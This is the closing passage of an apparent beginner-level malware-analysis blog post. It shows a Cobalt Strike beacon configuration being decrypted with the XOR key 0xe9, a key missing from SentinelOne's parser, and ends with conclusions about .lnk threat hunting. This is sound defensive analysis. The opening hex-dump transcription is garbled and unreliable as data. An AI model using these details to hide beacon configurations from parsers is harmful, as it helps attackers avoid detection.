f(r) sub_10001092 167	data 010032030:	5C DE 28 6D 38 56 64 12 5	5D 48 2E 6E 48 06 4E 9E	\=+m:Vi\$1H/n;*«f		=
f(x) sub_10001132 167	.data 0100320b0:	93 3C A7 19 83 A6 A7 B9 6	51 26 FØ 15 3E 93 1E EB	ô<º↓⪺╡a&-∞>ô∗Ù		
(a) sub_10001135 100 (a) sub_1000114a 100	.data 0100320c0:	71 A5 7B F7 24 C5 19 A8 F	B A0 44 69 68 4D A9 A1	qÑ{.\$+↓¿³áDihM®í		
(i) sub_100011de 109	.data 0100320d0:	01 F7 AB 86 8F FD C9 85 3	3B 3A C9 38 DA 73 D9 9D	⊕,½åŲ_rà;:r8 rs [⊥] Ø		
(x) sub_10001240 00	.data 0100320e0:	ØA 7F 5B 95 F4 6B 8A 7D [DA B9 F3 33 05 F1 38 EB	o[ò9kè} <mark> </mark> %3+±8Ù		
Data 0x10032072 (.data:1072)	.data 0100320f0:	EA E8 E9 E8 E9 E9 E9 E9 E	E9 E9 E9 E9 E9 E9 E9 E9	ÛÞÚÞÚÚÚÚÚÚÚÚÚÚÚÚÚ		-
Hexdump:	.data 010032100:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	9 E9 E9 E9 E9 E9 E9 E9	000000000000000000000000000000000000000		
7A FD 1D 9E 87 EE CF 9B A6 5A E4 0C 07 78 BE C7 6E	.data 010032110:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	19 E9 E9 E9 E9 E9 E9 E9	000000000000000000000000000000000000000		
F9 E3 95 40 03 0F 51 C3 FD 3D 98 22 F0 ED A2 6E 49	.data 010032120:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	E9 E9 E9 E9 E9 E9 E9 E9			_
69 36 70 1B FA 4D 1C A6 CB AF 17 4B 5C DF 2B 6D 3B	.data 010052150:					
	data 010032140.	F9 F9 F9 F1 F9 F4 F8 F9 F		ÚÚÚRÚÛÞÚT∎ Ã'ÐÃÐ		
= Strings	.data 010032160:	DC C7 DB DB D1 C5 C6 84 8	34 F9 F9 F9 F9 F9 F9 F9			
Ascii character z	.data 010032170:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	9 E9 E9 E9 E9 E9 E9 E9	ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບ		
UTF16-le character 🛛	.data 010032180:	E9 E9 E9 E9 E9 E9 E9 E9 E	9 E9 E9 E9 E9 E9 E9 E9	ύψψψψψψψψψψψψ		
Ascii string z	.data 010032190:	E9 E9 E9 E9 E9 E9 E9 E9 E	9 E9 E9 E9 E9 E9 E9 E9	ύὑὑὑὑὑὑὑὑὑὑὑὑὑὑὑ		
Utf8 string	.data 0100321a0:	E9 E9 E9 E9 E9 E9 E9 E9 E	59 E9 E9 E9 E9 E9 E9 E9	ύὐὐὐὐὐὐὐὐὐὐὐύ		_
Utf16-le string !invalid utf16-le sequence!	.data 0100321b0:	E9 E9 E9 E9 E9 E9 E9 E9 E	E9 E9 E9 E9 E9 E9 E9 E9	ύψυψηρηγηγηγη		
= Numbers	.data 0100321c0:	E9 E9 E9 E9 E9 E9 E9 E9 E	E9 E9 E9 E9 E9 E9 E9 E9			
Unsigned byte 0x7A	.data 0100321d0:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	E9 E9 E9 E9 E9 E9 E9 E9			
Signed byte 122	.data 0100321e0:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	E9 E9 E9 E9 E9 E9 E9 E9			
Unsigned short ØYED7A	.data 0100321+0:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	E9 E9 E9 E9 E9 E9 E9 E9			
Signed short -646	.data 010032200:	EQ EQ EQ EQ EQ EQ EQ EQ EQ				
Unsigned int 0x9E1DED7A	.data 010032210.	F9	9 F9 F9 F9 F9 F9 F9 F9			
Cigned int 1642201724	.data 010032220:	E9	9 E9 E9 E9 E9 E9 E9 E9			
Signed Inc -1042201/34	.data 010032240:	E9 E9 E9 E9 E9 E9 E9 E9 E9 E	9 E9 E9 E9 E9 E9 E9 E9	ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບໍ່ບ		
Unsigned long long 0x98CFEE8/9EIDFD/A	.data 010032250:	E9 E9 E9 E9 E9 E9 E9 E9 E	9 AA E9 E8 E9 EB E9 E9	ÚÚÚÚÚÚÚÚÚÚÚ–ÚÞÚÙÚÚ		
< >	.data 010032260:	E9 AD E9 EB E9 ED 16 16 1	L6 16 E9 AC E9 EB E9 ED	Ú;ÚÙÚÝ Ú‰ÚÙÚÝ		~
Deleting analysis 16		0x10031f60 (.data:f60)	PE		~ x86 ~ 5	66 ms 🛛 📀 🚽

Figure 12: Decrypting the config config

This was pretty easy! We now have access to all the information we need. Now regarding the causes that lead the existing tools to fail, it looks like SentinelOne's <u>CobalStrikeParser</u> did not have the correct XOR key (0xe9) listed in its keys list:

```
XORBYTE
S = {
3:
0x69,
4:
0x2e
}
```

I don't know if it is because this beacon is newer, or if the attacker modified the key himself. At the end, relying on automatic tools only gets you so far.

Conclusion

Today we have seen how much information a simple .Ink shortcut can store and how they should not be overlooked for threat hunting. Luckily Malcat's .Ink parser is pretty thorough and can show most of the hidden gems of such files. Afterwards, we did see how to statically decrypt and extract the configuration structure of a Cobalt Strike beacon using Malcat's transforms. When all tools fail, there is always the good old hexadecimal editor.

I hope that you enjoyed this small forensic/unpacking session, more oriented towards beginners this time. As usual, feel free to share with us your remarks or suggestions!